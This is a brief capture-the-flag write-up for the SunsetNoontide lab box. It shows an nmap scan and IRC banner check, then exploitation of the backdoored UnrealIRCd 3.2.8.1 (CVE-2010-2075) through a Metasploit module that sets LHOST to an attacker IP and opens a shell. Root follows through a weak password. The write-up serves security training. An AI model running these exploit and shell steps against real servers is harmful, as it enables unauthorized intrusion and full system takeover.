# SunsetNoontide Writeup - Proving Grounds

> Easy Linux box running the backdoored UnrealIRCd 3.2.8.1, exploited via CVE-2010-2075 for a shell as the server user, then escalated to root through a trivially weak root password.

- **URL:** https://hackindex.io/writeups/sunsetnoontide
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** unrealircd, rce, default-credentials, privilege-escalation, cve-2010-2075
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

SunsetNoontide runs UnrealIRCd 3.2.8.1 on port 6667, a version that ships a well-known backdoor giving remote code execution (CVE-2010-2075) as the `server` user. The root account then uses a trivially weak password, so `su` lands root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE
# 6667/tcp open  irc
```

Only IRC is open. Connect with an IRC client to read the server banner.

### IRC enumeration

Connect to the IRC server.

```bash
irssi -c $TARGET_IP -p 6667
# -!- Your host is irc.foonet.com, running version Unreal3.2.8.1
# -!- This server was created Sat 08 Aug 2020
# -!- NETWORK=ROXnet
```

The server runs UnrealIRCd 3.2.8.1.

## Exploitation

### UnrealIRCd backdoor RCE (CVE-2010-2075)

UnrealIRCd 3.2.8.1 was distributed with a backdoor that executes any command prefixed with `AB`. Use the Metasploit module.

```bash
msfconsole -q -x 'use exploit/unix/irc/unreal_ircd_3281_backdoor'
# msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS $TARGET_IP
# msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST $ATTACKER_IP
# msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
#
# [*] Command shell session 1 opened
# whoami
# server
# server@noontide:~/irc/Unreal3.2$ id
# uid=1000(server) gid=1000(server) groups=1000(server)
```

The exploit returns a shell as `server`. Try escalating with a weak root password.

## Privilege Escalation

### Weak root password

The root account uses a trivially guessable password.

```bash
su root
# server@noontide:~$ su root
# Password:
# root@noontide:/home/server# id
# uid=0(root) gid=0(root) groups=0(root)
```

The weak root password lets `su` return a root shell.

Related

## References

- [CVE-2010-2075](https://nvd.nist.gov/vuln/detail/CVE-2010-2075) - UnrealIRCd 3.2.8.1 distributed with a backdoor allowing arbitrary command execution.